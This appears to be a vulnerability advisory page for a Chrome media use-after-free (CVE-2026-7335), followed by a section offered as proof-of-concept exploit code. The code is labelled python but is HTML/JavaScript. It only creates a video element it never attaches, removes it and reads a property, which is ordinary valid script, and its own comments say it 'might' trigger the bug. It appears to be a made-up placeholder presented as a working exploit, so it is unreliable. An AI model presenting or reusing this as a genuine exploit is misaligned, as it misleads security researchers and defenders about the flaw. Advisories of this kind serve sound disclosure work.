Use after free in media in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-7335 -->
<!-- This PoC demonstrates the trigger condition for the UAF in Media component -->
<html>
<head>
<script>
function trigger_uaf() {
// Create media element
let video = document.createElement('video');
// Setup source to trigger media pipeline
video.src = "test.mp4";
// Force a specific state to trigger the bug
video.play();
// Simulate the condition where object is freed but referenced
setTimeout(() => {
// Manipulate the media object to attempt use-after-free
video.remove();
// Accessing properties or methods after removal might trigger UAF
console.log(video.currentTime);
}, 100);
}
// Auto trigger on load
window.onload = trigger_uaf;
</script>
</head>
<body>
<h1>CVE-2026-7335 PoC</h1>
<p>Check console for crash or debugger output.</p>
</body>
</html>